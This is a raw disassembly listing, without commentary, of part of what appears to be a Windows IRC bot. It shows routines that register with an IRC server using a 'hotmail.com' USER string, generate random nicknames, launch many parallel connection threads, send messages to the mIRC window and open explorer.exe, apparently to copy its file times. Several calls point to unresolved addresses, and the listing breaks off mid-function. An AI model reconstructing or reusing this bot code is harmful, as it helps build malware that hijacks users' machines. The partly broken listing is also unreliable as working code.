		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E60


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46C4[esi]
		mov	dword_4D46B8[esi], edi
		push	dword_4D48C4[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46BC[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46BC[esi]
		call	dword_4CB674
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46BC[esi]
		call	dword_4CB63C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D46BC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D46B8[esi], ebx
		mov	esi, dword_4D46BC[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB6BC


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D46B8


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DADD8
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46C4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48C4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46B8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385B0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382B0[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_4385B0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 2830047h
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2980000h
		nop
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DADDC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CB614
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 29906B2h
		push	esi
		mov	edi, eax
		call	near ptr 2990000h
		nop
		call	dword_4CB678
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB630
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 29A01C2h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 29A0000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB680
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB680
		push	ebx
		nop
		call	near ptr 2990BF2h
		push	edi
		call	near ptr 28005AFh
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB6E0
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
